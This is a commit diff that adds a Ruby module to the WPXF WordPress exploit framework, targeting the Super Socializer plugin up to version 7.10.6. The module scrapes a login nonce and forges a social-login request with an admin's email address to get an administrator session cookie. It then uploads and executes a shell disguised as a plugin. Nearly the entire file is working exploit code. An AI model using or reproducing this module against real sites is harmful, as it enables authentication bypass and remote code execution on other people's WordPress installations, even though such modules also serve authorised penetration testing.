|
| 1 | +# frozen_string_literal: true |
| 2 | + |
| 3 | +class Wpxf::Exploit::SuperSocializerShellUpload < Wpxf::Module |
| 4 | + include Wpxf |
| 5 | + include Wpxf::Net::HttpClient |
| 6 | + include Wpxf::WordPress::Plugin |
| 7 | + include Wpxf::WordPress::Login |
| 8 | + |
| 9 | + def initialize |
| 10 | + super |
| 11 | + |
| 12 | + update_info( |
| 13 | + name: 'Super Socializer <= 7.10.6 Authentication Bypass', |
| 14 | + desc: %( |
| 15 | + Super Socializer <= 7.10.6 is vulnerable to an |
| 16 | + authentication bypass exploit if an attacker is |
| 17 | + in posession of an admin's e-mail address and the |
| 18 | + social login feature is enabled. |
| 19 | +
|
| 20 | + This module will acquire an admin session by utilising |
| 21 | + the aforementioned vulnerability and upload a shell |
| 22 | + packaged as a WordPress plugin. |
| 23 | + ), |
| 24 | + author: [ |
| 25 | + 'rastating' # WPXF module |
| 26 | + ], |
| 27 | + references: [ |
| 28 | + ['WPVDB', '9043'] |
| 29 | + ], |
| 30 | + date: 'Mar 03 2018' |
| 31 | + ) |
| 32 | + |
| 33 | + register_options([ |
| 34 | + StringOption.new( |
| 35 | + name: 'admin_email', |
| 36 | + desc: 'The e-mail address of the admin user to authenticate as', |
| 37 | + required: true |
| 38 | + ) |
| 39 | + ]) |
| 40 | + end |
| 41 | + |
| 42 | + def check |
| 43 | + check_plugin_version_from_readme('super-socializer', '7.10.7') |
| 44 | + end |
| 45 | + |
| 46 | + def fetch_nonce |
| 47 | + emit_info 'Fetching a login nonce...' |
| 48 | + res = execute_get_request(url: wordpress_url_login) |
| 49 | + return false unless res&.code == 200 |
| 50 | + |
| 51 | + pattern = /var\sthe_champ_sl_ajax_token\s=\s{"ajax_url":".+?","security":"([a-z0-9]+?)"};/i |
| 52 | + self.login_nonce = res.body[pattern, 1] |
| 53 | + |
| 54 | + if login_nonce.nil? |
| 55 | + emit_error 'Failed to fetch a login nonce' |
| 56 | + return false |
| 57 | + else |
| 58 | + emit_success "Found nonce: #{login_nonce}", true |
| 59 | + return true |
| 60 | + end |
| 61 | + end |
| 62 | + |
| 63 | + def login |
| 64 | + res = execute_post_request( |
| 65 | + url: wordpress_url_admin_ajax, |
| 66 | + body: { |
| 67 | + 'action' => 'the_champ_user_auth', |
| 68 | + 'security' => login_nonce, |
| 69 | + 'profileData[id]' => Wpxf::Utility::Text.rand_alpha(6), |
| 70 | + 'profileData[link]' => Wpxf::Utility::Text.rand_alpha(6), |
| 71 | + 'profileData[name]' => Wpxf::Utility::Text.rand_alpha(6), |
| 72 | + 'profileData[email]' => datastore['admin_email'], |
| 73 | + 'profileData[first_name]' => Wpxf::Utility::Text.rand_alpha(6), |
| 74 | + 'profileData[last_name]' => Wpxf::Utility::Text.rand_alpha(6), |
| 75 | + 'provider' => 'facebook', |
| 76 | + 'redirectionUrl' => full_uri |
| 77 | + } |
| 78 | + ) |
| 79 | + |
| 80 | + return false unless res&.cookies |
| 81 | + |
| 82 | + if valid_wordpress_cookie?(res.cookies.to_s) |
| 83 | + self.session_cookie = res.cookies.to_s |
| 84 | + return res.cookies |
| 85 | + else |
| 86 | + emit_error 'Failed to authenticate' |
| 87 | + return false |
| 88 | + end |
| 89 | + end |
| 90 | + |
| 91 | + def run |
| 92 | + return false unless super |
| 93 | + return false unless fetch_nonce |
| 94 | + |
| 95 | + emit_info "Authenticating as #{datastore['admin_email']}..." |
| 96 | + return false unless login |
| 97 | + |
| 98 | + emit_info 'Uploading payload...' |
| 99 | + res = wordpress_upload_and_execute_payload_plugin( |
| 100 | + Utility::Text.rand_alpha(10), |
| 101 | + Utility::Text.rand_alpha(10), |
| 102 | + session_cookie |
| 103 | + ) |
| 104 | + |
| 105 | + !res.nil? |
| 106 | + end |
| 107 | + |
| 108 | + attr_accessor :session_cookie |
| 109 | + attr_accessor :login_nonce |
| 110 | +end |
0 commit comments